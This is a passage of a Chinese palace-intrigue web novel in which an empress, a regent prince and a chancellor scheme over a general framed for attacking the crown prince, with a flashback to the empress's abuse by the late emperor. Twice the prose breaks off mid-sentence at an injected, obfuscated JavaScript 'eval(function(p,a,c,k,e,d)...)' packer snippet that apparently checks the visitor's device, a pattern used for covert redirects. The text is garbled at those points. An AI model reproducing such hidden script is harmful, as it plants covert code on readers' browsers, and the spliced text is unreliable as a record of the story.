玉扶疏刚一进门,发髻凌乱的萧妃便扑了过来,跪在玉扶疏脚下,双手抓着玉扶疏的裙摆,又悲又惧,几乎哀嚎。 “皇后娘娘救命,皇后娘娘救救太子,邹平要杀了太子,娘娘救命啊。” 玉扶疏抬眼向殿内看,邹平已被五花大绑,嘴巴也被堵上,未防止他挣扎,双腿还各压了一个内侍,但这显然是多余的,邹平动也不动,若非他睁着眼,简直仿若死了一般,他眼睛瞪着,黑漆漆的,一点神光都没有。 玉扶疏收回视线,瞧向萧妃,心道这女人还真是个演戏的好手,嘴上配合:“太子可有受伤?” 寝殿里已不见太子身影。 萧妃哭得更大声:“太子躲得及时,被邹平刺杀伤了左臂,否则邹平一剑就要刺到太子心脏上,娘娘救命。” 玉扶疏:“妹妹起来说话,可传了太医?” 萧妃被婢女扶着摇摇晃晃起身:“请了,只是今夜院首不当值。” 玉扶疏侧头看拭雪:“传我的命,召太医院院首速速进宫,再有,通知玉相国进宫。” 玉扶疏话落朝萧妃递了个眼神,萧妃了然,她身侧婢女,跟着拭雪,一道离开,两人一前一后出宫,却是两个方向,萧妃婢女直奔延陵王府。 玉扶疏走上前,挥手,坐在邹平腿上的两内侍连忙起身离开。 玉扶疏端起床头的茶盏,揭开盖子瞧里面剩的凉茶,转手泼到邹平脸上。 邹平一激,恍如大梦初醒,发觉自己被绑,满眼迷茫,本能的挣扎起来。 玉扶疏缓缓蹲下身,平视着邹平。 邹平看到玉扶疏一愣,接着呜呜叫起来。 玉扶疏面色柔和,一副关切情态,低声道:“你且别急,本宫已派人去请相国,有什么冤枉,等下好好向相国讲清楚。” 邹平闻言一点点冷静下来,眼睛里流露出感激之色,用力点头。 皇宫正门下,谢洵舟与玉忠节狭路相逢,两人几乎同时抵达宫门口。 谢洵舟策马而来,身着玄色,衣袂飞扬,身后跟着一队执戟亲兵。 谢洵舟于宫门前御马而停,单手执缰绳,端坐于马背上,身姿挺拔如剑,边关几年非但没累垮了他,反倒是更见锋芒意气,一双眼深邃如渊,不见深浅。他高调归京,却立即蛰伏起来,让人摸不清路数。 玉忠节眼神阴鸷,看着如此年轻的谢洵舟,心里除了嫉妒,更多是忌惮,他一身官袍,坐在轿辇上,目光虽还精明,可体态已是掩盖不住的垂垂老人。 玉忠节不意外会见到谢洵舟,得到玉扶疏的传信,他便料到此事背后,一定是谢洵舟和萧妃的手笔。前几日接到线报,萧妃曾夜访延陵王,这事玉忠节本没放在心上,萧妃就算翻出天大的浪来,于他眼里,不过是溅几滴水,玉忠节不觉得,谢洵舟会放弃他的示好,而去理会萧妃。如今看来,是他失算了。 玉忠节盯着谢洵舟,一时竟看不透,这延陵王究竟在打什么算盘。 不过当务之急,还是先保下邹平为紧要。 玉忠节:“延陵王,可是为太子受伤的事赶来?” 谢洵舟闻言,嘴角噙起一抹淡淡的笑:“本王得知太子遇刺,故而前来,不想这么巧,和相国大人遇上。” “受伤”还是“遇刺”,两人各执一词。 玉忠节有意示好,抬臂向前邀请:“王爷先行进宫。” 谢洵舟:“相国客气,您先请。” 玉忠节面色稍缓:“王爷骑马脚程快,还是您先进宫,老夫随后。” 谢洵舟拱拱手,接着牵起缰绳,御马先行,身后一队亲兵紧随其后,马蹄声乱,震起一地烟尘。 玉忠节攥紧拳头,看着谢洵舟一队人马远行,声沉如冰:“走。” 太子寝殿,谢洵舟和玉忠节一前一后进门。 玉忠节看到被五花大绑的邹平,脸色难看:“放开他。” 萧妃哭喊:“不能放,邹平刺杀太子,”她跑向谢洵舟,垂身作揖,摇摇欲坠:“皇叔一定要给太子做主啊。” 玉忠节盯着萧妃,目光毒辣,喝道:“放肆!后宫有皇后做主,何时轮到妃妾说话!” 萧妃身子一抖,由宫女搀着退到一边。 玉扶疏适时开口:“事出突然,这样绑着邹平也没办法问话,还是先给他松绑吧。延陵王,您可有异议?” 谢洵舟负手而立,相较于玉忠节的阴沉,萧妃的惊惶,格外气定神闲。 他闻言撩起眼皮,看向对面,几步之遥的玉扶疏。 她身后是一排红烛,烛光揉进凉凉的月色,冷暖的光影交织在她纤瘦的身姿上,今夜她倒穿了一袭清雅的素白,玉面洗净,无半分胭脂色,青丝如缎,只别了一支剔透的玉钗,终于有几分孀妇该有的模样,可她生得精致,衣饰越简单,越衬出她洛水之质。 谢洵舟的目光最终落到玉扶疏那张漂亮的脸蛋上,她正看着他,粉唇如樱,唇角浮起一抹浅浅的笑,远远看不出什么,可若留意到她盈盈美目中的狡黠,便知她此刻心底里的得意。 谢洵舟勾了勾唇,今夜正逢三日之期,她倒是雷厉风行,说到做到。 “为了审讯,本王自然无异议。” 邹平松绑后立刻爬起来跪在地上,经了一段时间的冷静,脑袋已经恢复清醒,他朝玉忠节爬去:“相国明鉴,臣是被冤枉的,臣是带人来太子殿里抓刺客的,却被萧妃误解,让内侍暗中袭击微臣,又把臣绑了。” 玉忠节要说话,被谢洵舟抢先。 “邹将军说是来抓刺客的,那刺客何在?” 邹平急切道:“我眼见着一道黑影往这边窜来,一路急追,才追至太子寝殿,可进了殿门就被内侍在暗中袭击,等我回神,已被他们绑了。刺客…刺客定是趁机逃脱了。” 谢洵舟闻言轻笑一声,嗓音变冷,让人不寒而栗:“你是把本王和玉相当三岁稚童耍弄?” 没抓到刺客,邹平这番话便没有证据,那就难说是不是他在贼喊捉贼。 邹平满头大汗:“不…我说的都是真的,相国大人,您要相信微臣,微臣确实是来抓刺客的。”他突然想到什么,转向玉扶疏:“皇后娘娘能替臣作证 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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封锁宫廷非但洗不清邹平的罪名,反而是要把这件事宣扬得人尽皆知。 玉忠节心里一清二楚,这是他绝不能容许的。 谢洵舟出言如刀,杀人无形,“毕竟刺杀储君,可是诛九族的罪。” 诛九族,这三字一出,整个寝殿都静了几分。 邹平如遭雷击,身体抖成筛子,崩溃喊道:“不,我没有刺杀太子,相国大人救我,皇后娘娘救我。” 在邹平的悲嚎中,玉扶疏抬眼,见玉忠节和谢洵舟僵持着,一个面色阴沉,强忍怒气,一个面若冰霜,坚持己见。 两方各不相让。 眼见着场面胶着,玉扶疏缓步走到玉忠节身边,附耳低声:“父亲,您可不要被谢洵舟激怒,中了他们的计。” 玉扶疏低声与玉忠节分析利弊:“邹平一定是被冤的,此事父亲心知肚明,谢洵舟与萧妃亦心知肚明。可是现在,邹平刺伤太子这件事是板上钉钉,人证物证俱全,邹平翻不了身了。您若执意保他,这事一旦宣扬出去,届时百官会作何想?百姓又会怎么想?父亲本就想废长立幼,此事一出,只怕人人都会认为,是您在背后指使,要杀太子立新君。” 玉忠节看了眼女儿,她说的这些他岂会不知?他怕的就是这个! 可他如何甘心就这样被谢洵舟轻易折损掉一员大将? 玉忠节看着磕头求救的邹平,闭上眼睛,深叹一声,睁眼对谢洵舟:“延陵王,借一步说话。” 玉忠节和谢洵舟走出寝殿,移步到廊下,月亮高悬,照着两人灯下的影子。 玉忠节面上带笑:“王爷,其实您与老夫原本可以亲如一家,不过造化弄人,不提也罢……邹平这事毕竟出在后宫里,侍卫夜闯后妃宫殿,传出去,阿扶这个后宫之主的面子也不好看。” 谢洵舟顺着他的话:“那玉相国的意思是?” 玉忠节:“邹平有罪,责他五十廷杖。” 谢洵舟:“刺杀太子,是诛九族的重罪,五十廷杖?相国大人,您可是在与本王说笑?” 玉忠节把谢洵舟叫出来,已然是不想和他打太极,邹平被冤,两人心知肚明,无非是今日你摆我一道,我当下只能认栽。 玉忠节面上还挂着笑:“那日在茶楼,老夫说要送王爷一套新锁,如今锁已打成,明日老夫派庭风亲自送锁去府上,摄政王可要好好看一看上面刻的字。” 玉忠节巧然换了称呼,谢洵舟听在耳里岂会不知他意。 这已然是玉忠节能给他的最大让步了。 看来邹平这块肉,真真是挖到了玉忠节心口上。 谢洵舟:“多谢玉相,本王定会珍视。” 玉忠节含笑点头,手指搓着掌心,自认谢洵舟还算识相,不料谢洵舟突然话锋一转。 “只是太子受伤,这邹平九族可免,他自身罪责难逃。否则,本王也不好向萧妃与朝臣交代。” 玉忠节眯起眼睛:“向朝臣交代?难道今夜的事,王爷还打算让更多人知晓么?” 谢洵舟自然知道玉忠节的软肋,这事传出去,首当其冲的就是玉忠节的名声和清白。 玉忠节背起手,蹙眉看着谢洵舟:“摄政王,是老夫的诚意,还不够吗?” 玉忠节想用摄政王的虚名保下手掌实权的禁军统领,这样的买卖,换位而处,怕是他自己也不会同意。 谢洵舟嘴角透出几分冷笑:“玉相国,本王只一句话,罢黜邹平,让萧妃和太子心安,否则本王定要在朝上提起议事,看这邹平最后可要九族皆消。” 玉忠节再也压不住勃然怒火:“谢洵舟,你当真要把此事做绝?” 谢洵舟拂袖转身:“本王言尽于此,还望相国大人,好好考虑。” 夜风寒凉,玉忠节看着谢洵舟挺拔年轻的背影远去,忽而摇头,低声笑起来,月光照着他苍老阴郁的脸颊,一双鹰目灼灼,露出杀意。 玉忠节最终以保卫宫禁不利的罪名,把邹平罢职下了狱。 玉扶疏回到凤栖殿,已至子时深夜。 浴室里已备好汤泉,冰云服侍玉扶疏更衣沐浴,她挑拣最鲜嫩的玫瑰花瓣洒在水面。 玉扶疏褪尽衣衫,步入汤泉,在氤氲的热气里,舒服的嘤咛一声。 她摆弄着嫣红的花瓣,想到今夜一击即中的结果,感叹不枉她多日费心谋算。 拭雪从外面走来,跪在玉扶疏耳边轻声:“娘娘,延陵王到了。” 玉扶疏转眸看向冰云:“你退下吧。” 冰云闻言,撒花瓣的手一僵,抬头望向玉扶疏,最后看向她身旁的拭雪,抿了抿唇:“是。” 冰云离去,玉扶疏才对拭雪:“引他到这儿来。” 11. 第 11 章 谢洵舟出宫前收到玉扶疏传的消息说有要事相商,为避开玉忠节的眼线,还特意给他指了条密道,从后墙开的暗窗,可以直通她的寝殿。 谢洵舟从暗窗进入寝殿,沿着狭长的过道向里面走,眼前才豁然开朗,寝殿静悄悄的,里面空无一人,谢洵舟停住脚步,环视四周。 一架梨木榻,榻前垂着半幅胭脂色的软烟罗帐,光影朦胧间,帐内明暗幽深。榻对面立着鎏金妆台,台上嵌着三面铜鉴,一面正悬于妆奁之上,雪亮鉴光倒映着殿内的烛焰,一派透亮。另两面镜子已十分陈旧,反扣于台面上,镜背布有裂痕,所镌蝶纹亦古拙粗陋,不似宫廷规制。镜旁是卸下的钗环,并着胭脂香粉,散堆一处。有一支素玉簪子,谢洵舟眼熟,正是玉扶疏今晚戴在头上的那枚。 谢洵舟环视一周,发觉玉扶疏的寝殿甚是空阔,除却那梨木榻、旧妆台,竟再无什么大的物件陈设,甚至一角墙壁已有斑驳之色。倒是玉扶疏侍弄了许多花木在殿内,檀心棠棣列于花架之上,殿宇一角还置了几案,上面摆着素烧瓷瓶,花枝点缀。满室暗香浮涌,花影横斜间,倒将原本的萧索掩去,多了几分清致。 谢洵舟诧异,他素知无论是先帝亦或是玉忠节,皆奢靡成性,他也深知玉扶疏天性爱美又好胜,从来珠钗绮罗只挑拣最上乘,可眼前的皇后寝殿,无论是从规制还是从玉扶疏的性子看,都太过简陋,他刚见过太子寝宫,比起那里,玉扶疏这里可以称得上是寒酸。 谢洵舟想起在边关时听到的一些宫中传言,玉氏皇后不得圣心,被皇帝冷落宫廷,加上她多年膝下无子,有文官多次上书皇帝废后另立,前朝后宫时而间就会闹得沸沸扬扬,这些上书的人最后都被玉忠节打压,或是诛杀或是贬官流放,玉扶疏的后位坐得还算稳当,只是名声已十分难听。 谢洵舟听见脚步声,回头看去,来人是位宫女。 拭雪行礼:“娘娘正在等您,请王爷随奴婢来。” 谢洵舟由拭雪在前引路,穿过一扇圆月式的门洞,走入一道暗廊,到尽头又见一扇紧闭的紫檀木门,上面雕饰着龙凤交首、莲池鸳鸯等情鸟,还配有花开并蒂的图样。 拭雪只将谢洵舟引至门前,便行礼离去。 谢洵舟抬手推开门,入目是一道屏风,遮了大半的视线,却遮不住氤氲雾气扑面而来,空气里玫瑰香气浓烈,静谧中偶尔响起叮咚水声。 谢洵舟脚步一顿。 他已经能猜到,这扇屏风后,该是何等场面。 谢洵舟斟酌着,自己是否要继续陪玉扶疏胡闹下去。 他大抵能猜到玉扶疏此刻的神情。 谢洵舟举步,脚上的云靴踏着青砖,步履从容绕过屏风,豁然间,整间浴室尽收眼底。 浴室左右墙壁上镂有十二扇窗子,皆紧闭,上垂丝缎,水雾交织,恍若瀛洲仙境。铜制的灯台上布满红烛,光晕逸散,亮如白昼。 汤池形状如莲花,从莲房绽放,九瓣莲花片片舒展,以汉白玉为身,边缘漆金,莲花深处,静卧玉人,轻阖美目,香肩若凝脂,身前萦绕一捧嫣红花瓣,随着潺潺水波起落。 谢洵舟隔着汤池,目光落向莲蕊深处的玉扶疏。 浴室内陷入寂静。 良久,玉扶疏缓缓睁开眼,对上谢洵舟深暗的眼眸,故作诧异,环臂于胸前,双手抱住雪肩,又羞又惊,“王爷何时来的?本宫竟不知……” 谢洵舟眼看着玉扶疏做戏,勾起唇角:“玉后好雅兴。” 玉扶疏盯着谢洵舟,见他面色坦荡,毫无羞赧之色,知他不上当,美目一转,抬手指向一旁的木架,“王爷来得正巧,可否帮本宫拿一下香胰子?” 谢洵舟沿着汤池边缘,从莲瓣走向莲蕊,他站在玉扶疏身后,拾起木架上银盘里的香胰子,垂手递给玉扶疏。 玉扶疏手也不抬,只瞧了一眼,“阿扶够不到。” 谢洵舟眯了眯眸,汤池的台阶就在莲房中央,他踩着台阶走下去,离着水面还隔一阶时停下来,他坐在池边,一歪手腕将香胰子递去。 玉扶疏在水中转身,她面向谢洵舟,胸前靠着白玉池壁,支臂在岸上,单手托着下巴,歪头看谢洵舟。 她的长发被池水打湿,有的飘浮水面,有的则缠着她的美背,一黑一白,刺目的好看。 谢洵舟举着香胰子,挑眉,“不要?” “要。”玉扶疏应道,才缓缓伸出手,她的肌肤本就白,经了温汤浸泡,肌肤更通透如冰,晕出肌底的粉润。 玉扶疏碰到谢洵舟的指尖,冰凉,粗糙,她一点点,缓慢地滑过他的指腹,握住香胰子,又一点点抽走。 谢洵舟垂眸,看留在指腹的水珠,香胰子滑腻腻的沾了一层在他的掌心,却柔滑不过,刚刚那只不安分的手。 “按照约定,本王会放了顾流川。” 谢洵舟公事公办,话落侧眸瞧玉扶疏,眼见她眸底生出几分怅然无味。 玉扶疏仰头看着谢洵舟略显清冷的眼眸,他倒是从始至终镇定自若,宛若个看破红尘的圣僧,她心有失落,可更多的是不服气。 玉扶疏又朝谢洵舟靠近几分,“本宫从未怀疑王爷会言而无信。” 谢洵舟闻言挑眉:“哦?那玉后叫本王来,是有别的要事?” 玉扶疏:“邹平入狱,再难翻身,禁军统领之位空悬,本宫想让顾流川出任,他本就是御林左监,升迁也属顺理成章。” 谢洵舟嘴角噙起一抹淡淡的冷笑,“说起顾流川,本王倒是很好奇,玉后是何手段,能驯服如此忠臣?” 知道顾流川是玉扶疏的人后,谢洵舟亲审过他一次,同是男人,他自然一眼就能看出,顾流川对玉扶疏可不清白。 他受尽酷刑也不肯供出她半个字,得知她会设法救他,眼里没有丝毫庆幸,反而都是悔恨,恨自己成了牵制她的把柄,恨她会受制于人,恨她要因他去涉险。 谢洵舟太清楚,顾流川可不只是玉扶疏的忠臣,而是个 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玉扶疏:“我哪里能未卜先知?不过是命运嬗变,随波逐流。”她语气一顿,试探道:“王爷,不喜欢顾流川?” 谢洵舟眯眼,“玉后喜欢?” 玉扶疏笑道:“如此忠臣,自然喜欢。” 谢洵舟闻言,眼底意味不明,“禁军统领之位,本王心中也有人选。” 玉扶疏心尖一跳,“谁?” 谢洵舟:“本王的副将,刘奕。” 这人玉扶疏也有些耳闻,破敌之战中,大大小小立下过不少功勋,御赐奖赏的名单里,有过他的名字。 不过,这刘奕明晃晃的是谢洵舟的人,玉忠节绝不可能让这样的人执掌皇城宫禁。 “刘将军自然能担当得起禁军统领的位置,只是,我父亲定不肯答应,届时必然又要引起一场风波,如今朝廷的局势,只怕王爷不会占优势。” 玉扶疏顺从谢洵舟手上的力道,仰着脸颊,美目盈盈,“阿扶既与王爷结盟,那顾流川亦是王爷的人,这些年,我将他的身世藏的很好,我父亲并不知他是我的人,只要王爷默许,我有办法说服父亲,让顾流川接任禁军统领之职,这样既可少些争端杀戮,往后王爷在京中,也可高枕无忧。” 玉扶疏这套说辞,听起来倒格外的顺耳,这确是不费一兵一卒就能从玉忠节手里夺过禁军统领之位的好法子。 不过。 谢洵舟加重手上的力道,“结盟?本王何时与玉后结盟了?” 玉扶疏一愣,俏脸微僵,“那日在王府,王爷不是答应,只要我帮王爷除掉邹平,王爷便与我结盟吗?” 谢洵舟饶有兴致的看着玉扶疏变色的面庞,有意反问,“是么?” 玉扶疏看着谢洵舟面上浮起的冷笑,觉察道:“王爷不会是要反悔?” 谢洵舟眼中笑意不减,却闪着冷冽,嗓音沉如寒冰,带着几分报复的意味,“反悔又如何?” 12. 第 12 章 谢洵舟话落,浴室一寂。 偶有水滴清响,声如玉磬。 玉扶疏克制着情绪,勾了勾朱唇,但笑容还是不免有几分僵硬,“王爷可是在与阿扶说笑?” 谢洵舟执着玉扶疏的下巴,如在把玩一块羊脂美玉,眼中漫不经心的笑意淡去,最终只剩冷漠。 玉扶疏在谢洵舟的眼神里,看见了对她的嘲讽。 她知道,这是谢洵舟对她当年反悔的报复。 玉扶疏偏头,挣脱谢洵舟的手,一点点在水中后退,与他拉开距离,她的一张玉面仍是美的,只是清冷起来,不再似先前那般故作娇媚。 谢洵舟轻笑了笑,垂手探入池水中,手掌瞬间被温汤包裹,他弄着池水,漾起圈圈涟漪,浮水的花瓣逐波而动,色艳飘红,晕染了莲花清池。 玉扶疏眼见胸前花瓣愈发稀少,下意识咬唇,抱臂在胸前,美目含怨,瞪着谢洵舟。 谢洵舟洗净手上的滑腻,随手取来一旁叠放的绢布,那本该是用来给玉扶疏擦身子的,谢洵舟用它擦干手,又丢掷回去。撩眼瞧被他弄乱的清池,面不改色,丝毫不觉唐突,一副目下无尘的姿态。 谢洵舟目光悠悠落向困身于池水中的玉扶疏。 水气如烟,她抱着藕臂,似仙姝误谪尘寰,云鬓半堕,青丝逶迤,湿漉地缠着她腻白的颈项,她黑玉般的眸子俨然是有几分嗔怒的,可她越羞恼,越娇艳地不可方物,萦绕在她身前的碎红,已然无法遮蔽住澄澈水波下的玉姿,许多都粘腻在她光润如脂的雪肤上,只消用指腹轻轻一捻,便可化成汁水,吃进她的身子里去。 谢洵舟眸色深暗流连,忽而神色一凝,蹙起眉头,“那是?” 玉扶疏顺着谢洵舟锁来的视线,看向自己的右臂,那上面横着一道殷红。 是伤疤,只是她已记不得是何时留下的。只记得原本是极疼痛,极狰狞丑陋的,她经年累月的敷药,虽淡去许多,可仍留着一道红痕,此刻在她的肌肤显得格外突兀刺眼。 这样的伤疤,玉扶疏背后还有许多,比这深,比这长,比这丑陋。 玉扶疏抬手,匆忙遮住红痕,对视上谢洵舟探究的眼眸,咬了咬唇,“干你何事?” 谢洵舟沉默注视玉扶疏,她闪烁的美眸中,有难堪,有掩藏,有惊惶,还有对他的逃避。 玉扶疏讨厌谢洵舟这要把她看穿一般的目光,蹙起蛾眉,“你给本宫出去!” 谢洵舟倒丝毫不流连,起身便走,玉扶疏目光追着他的身影,见他绕过莲房,沿着莲瓣,脚步顿都不顿一下,一路向外。 玉扶疏心中早积了一团火,既憋闷谢洵舟从始至终视她如无物,更气恨他戏耍她,害她白白做了他手中的刀,一想到谢洵舟利用起她,和玉忠节别无二致,玉扶疏抓起香胰子,朝谢洵舟的背影砸过去。 可她的臂力,根本砸不到岸上的谢洵舟,香胰子砸入清池中,倒是溅起不少池水,把谢洵舟淋了个半湿。 谢洵舟脚步一顿,低头瞧自己被浇湿的鞋子和衣摆。 若说玉扶疏没长进,却也能翻翻手腕,除掉一个手握实权的统领。 若说玉扶疏有长进,竟是一点委屈也不肯承受,还同当年一样,立时就要找他报复回来。 玉扶疏盯着谢洵舟的背影,见他举步,好似什么也没发生般,走了出去。 胭脂色的软烟罗帐垂落于梨木榻前,帐内一上一下两道身影。 玉扶疏俯身趴在榻上,淡蜜色的绸缎从香肩褪去,逶迤在腰间,光润的美背暴露在幽香的空气下。 玉扶疏下巴抵在枕头上,黑玉般的美目凝了层雾气,心中忿怨未消,她未想到,时过经年,谢洵舟竟变得如此混蛋了。 拭雪一手端着药膏,一手执着上药用的木匙,将鹤灰色的药泥涂抹在玉扶疏背上的伤痕,这纤瘦的背上有新伤初愈的血痕,有经年调养却仍然褪不掉的旧疤,纵横交错的鞭痕,将这张原本滢白无暇的美背剪织的破碎,重物锤击的淤青,紫黑的淤血,烧烫的伤疤,无法细数,最重的是蝴蝶骨缝里的刀伤,每每雨季,玉扶疏都要吃上不少苦头。 “嘶。”玉扶疏蹙了蹙眉。 拭雪闻声动作一顿,“娘娘,奴婢再轻些。” 玉扶疏:“顾流川回府了吗?他伤得很重吧?” 拭雪:“顾大人传信说,自娘娘去了王府后,延陵王便给他请了郎中,伤已好了不少。” 受了刑,怎么会好这么快。 玉扶疏叹息一声,“他这是诓我的,怕我忧心。明日你给温珣银两,让他捡最好的药,莫惊动了太医院的人,你收好后,悄悄送去给顾流川。” 拭雪应是,“治外伤的药确实惹眼,娘娘思虑周全,只是您还信不过温御医吗?奴婢想,何不让温御医好好给顾大人看一看?” 玉扶疏淡淡道:“不急。” 这世上,唯二能让她信任的人,一是拭雪,二便是顾流川。 若说拭雪是陪着她在这深暗的宫廷里苦苦挨着,熬着,是她在这漫漫无期绝望中踽踽独行时,伸向她的一双手,搀扶着她活下去,那顾流川就像天际的一道星,猝不及防的闯入她的生命里,骤然而至,却也像流光一样,短暂的照亮她黑暗的人生,旋即同她一起坠落荒夜。 顾流川本是谢池渊的御前侍卫。 玉扶疏不知道他何时进宫的,又是如何一步步走到御前,出现在仙台殿,亦不知他在谢池渊身边侍奉了多久。 仙台殿的宫婢,内侍,侍卫有太多,这里死人是常有的事,一些人被抬出去,便由新面孔接替,来来往往,循环往复。 玉扶疏早已麻木,她环望仙台殿,眼里看到的无非一具具行尸走肉,同样,她亦看不出自己和这些人的命运有何分别。 无非,谢池渊不敢真要她的命,留她一□□气,只敢把她折磨个半死。 顾流川第一次闯入玉扶疏的眼眸,是一年隆冬,风雪七日不止,宫廷大雪如棉,银白色从天直垂大地,宫墙上的瓦檐结了一排冰锥,高低参差,青日临空,把这些冰锥照得比琉璃还好看。 玉扶疏刚从一场大病中回过魂来。 前朝正闹得厉害,边关战事也经年不休。 谢洵舟请求军饷的奏折,就像这雪一样,一道接一道从边关飞来,落在案头,如同雪化在地上,全无音信。 朝堂上玉忠节刚逼死了前任吏部尚书,又逼着谢池渊下召,让李千帆接任。谢池渊在向光禄寺要钱,姜美人怀了龙裔,正逢生辰,谢池渊要隆重操办,为她庆贺。 他们二人谁也不让谁如意,谢池渊不拟旨,玉忠节不给钱,两人较着劲,朝堂搅得天翻地覆。 玉扶疏走在积雪难行的甬道上,行往仙台殿。 她知道,等着她的又是一场羞辱打骂。 谢池渊在前朝败下阵来的积怨,总要发泄在她身上,寻回尊严。 玉扶疏步入仙台殿,她被风雪吹得冷彻刺骨,骤然进入温暖的殿宇,不免打了个颤。 屋内的地笼烧得极旺,火红的炭在银笼里一丝烟也没有。 空气里弥漫着瓜果的香甜,这时节,这样的瓜果哪怕是南境也不产了,只能从远洋来,小小的一颗果子,比金子还贵。 谢池渊把应召而来的玉扶疏当空气,揽着姜美人的腰肢,与她亲热调笑。 玉扶疏静静地站在一旁,耳畔听着男女荒淫刺耳的笑声,垂着眼眸,盯着脚下织金点翠,奢靡无比的地毯。 姜氏腻在谢池渊怀里,一双勾人的狐狸眼,睨着娉婷静立的玉扶疏,娇声如啼,“陛下,陛下,皇后娘娘来了。” 谢池渊经了提醒,才不耐烦的抬眸,上下打量玉扶疏。 她脸色苍白,被风雪冻红的鼻尖和耳朵还没有彻底缓过来,天然若胭脂,她身上穿着藕荷色的绫袄,在满室金珠绫罗里,清白似仙露烹茗,若腊月里的一枝梅,有根有骨,幽香冷冽。 谢池渊眯了眯眼,目光向下滑到玉扶疏那截纤细的脖颈,那上面还留着一圈淡青色的勒痕,开口便是斥责。 “皇后,你好大的架子,朕传召这么久你才过来,也学着你爹一样,不把朕放在眼里!” 玉扶疏敛息垂眸,“臣妾不敢,雪路难行,故而慢些。” 谢池渊今日却意外的好说话,“那朕给你一个将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢池渊指着玉扶疏的鼻子大骂,“你这不下蛋的牝鸡,竟敢这般敷衍朕的龙裔!”他手指快要戳到玉扶疏面上,“给朕去接天上的无根之雪,何时积满了,何时回来烹茶!” 玉扶疏缓缓抬眸,谢池渊那张狰狞的脸落到她的瞳孔里,这些年他愈发的丑陋了,双目深深凹陷,周围一圈乌青,眼袋一层层垂着,眼角的纹愈加的深长扭曲,一张脸上泛着毫无光泽的油,像涂了一层干枯的蜡。 玉扶疏深吸一口气,垂下眼眸,“是。” 玉扶疏站在庭院的风雪里,捧着罐子,仰头看天。 天空是污浊混沌的灰色,天光却是刺目的,雪融在光里,看不到踪影,能触到的只有雪一片片砸在脸上的冰凉,她本无血色的唇,一点点变紫。 拭雪从廊下跑过来,“娘娘,您受不得风寒,奴婢替您接吧。” “他想折磨的是我,你替我不过白费力气,回去吧。” 玉扶疏已无力再多说一句话,眼前所视都在慢慢笼罩一层黑雾。 她那时也没有留意到,在她前方,大殿门前,有一道沉重的视线已经停驻在她身上许久。 玉扶疏接满一罐雪时,夕阳西下,天际被夜色笼罩,她身体冻得僵硬,衣服也被雪淋的湿透,每走一步,脚都在刺痛。 玉扶疏原本纤细的手指被冻得粗肿,几乎不能打弯,她忍着疼,用炭火煎着雪水,暖气飘在她的面上,是一阵阵灼烧的痛。 活水配着活火,慢煎出的茶,香气清冽,色泽润亮,一观便知,入口定是香气拂拂,甘甜无比。 玉扶疏端着茶,忍着脚下的疼,走向谢池渊和姜美人,两人不知何时更换了衣衫,衣裤皆松散的挂在身上,两人倚在床榻上,身下的榻一片凌乱。 玉扶疏无力至极,只想尽快解脱。 玉扶疏把茶递给姜氏,姜氏先是看了一眼谢池渊,接下茶喝了一口,突然手指一翻,将茶盏打翻在地,她捂着嘴,故作恶心,接着将含在口中的茶吐出来,吐到玉扶疏早已湿冷的裙袄上。 13. 第 13 章 姜氏掩唇轻咳,对着玉扶疏挑眉一笑,狭长的眼眸里有得意,有嘲讽,更多是对玉扶疏挑衅的快感。 玉扶疏看着被吐脏的衣裳,缓缓抬起眼,纤长的睫毛遮住了她眼中的冷寂。 姜氏回身倒入谢池渊怀中,“陛下,皇后娘娘烹的茶好难喝,妾身好难受。” 谢池渊揽着姜氏,放声大笑,“她这蠢妇,能做好什么事?爱妃,你莫恼,朕给你备了样好东西。” 谢池渊拍了拍手,赵长侍端着一个鎏金托盘走上来,上面盖着明黄锦缎。 姜氏满眼惊喜,揭开锦缎一瞧,更是惊呼一声,嗓音激动到颤抖,“这…这是送给妾身的?” 玉扶疏侧目看去,亦是心惊。 赵长侍手上端着的,是一双奢靡到足以令人咂舌的鞋子。 鞋底细腻光洁,寻常人若见,便要错认成白玉,可玉扶疏知道,那是异域的象牙,是流于贵族间顶顶奢侈之物,这样的品质更是难见,就这样被做成了鞋底,上面精雕细刻着缠枝牡丹,若说牡丹乃中宫之花,用之僭越,但比起鞋面,就称不上什么了。 鞋面用的是寸锦寸金的嫦娥锦,这锦要挑选两浙蚕虫吐出的最极最精的丝,每根丝线要捻入足量的金箔与珍珠细粉,经一百名巧手绣娘织就百日,方可得一匹。这样的缎料,莫说再绣上花纹,便是素缎一匹也是日间生辉,月间流光,何况这上面,又镶嵌点翠凤凰,凤凰于飞,无法用言语形容的贵重。 玉扶疏忽而想到谢洵舟,听闻他请求军粮的折子,都是百里加急,一连三个月不断,一日一封抵达京都。 这怪异之年,京都尚且风雪封城,更别提漠北边关,该是严寒刺骨到何等地步。 玉扶疏是被谢池渊的怒喝声惊得回神的,抬眼朝他看去,见他眼中腾着滔滔巨怒。 “朕让你伺候美人试鞋,玉扶疏,你耳聋了吗!” 玉扶疏耳畔像隔了层纱,谢池渊的声音雾蒙蒙的,许久她才真正听清楚了谢池渊的话。 赵长侍观察玉扶疏久无反应,尖细着嗓子帮腔:“皇后娘娘,这大好的日子,您可不要惹陛下生气。” 玉扶疏伫立在原地,盯着谢池渊狰狞的脸,袖子下冻僵的手一点点蜷起,她忍着疼,将拳头越握越紧。 拭雪跑进来,跪在地上,先是重重磕了两个头,“皇上,还是奴婢来伺候美人穿鞋,能伺候美人一回,是奴婢的福气。” “蠢笨贱婢,你也配碰这玉鞋,”谢池渊抓起榻上的靠枕,朝拭雪砸去,“来人!” 两名御前侍卫应招而来,单膝跪地,听候在外。 谢池渊眯着眼睛,地上的拭雪于他不过一个卑贱蝼蚁,声音轻飘飘,“拖下去。” 玉扶疏听到侍卫身上甲胄摩擦的冷器声,“等等!” 谢池渊闻言抬了抬手,侍卫止步,他盯着玉扶疏问:“皇后,你可要伺候朕的美人试鞋?” 谢池渊最是清楚玉扶疏这个女人心气高,越是这样,他越有兴趣磋磨她,欣赏她的难堪,看着她在自己面前一次次折颈低头。 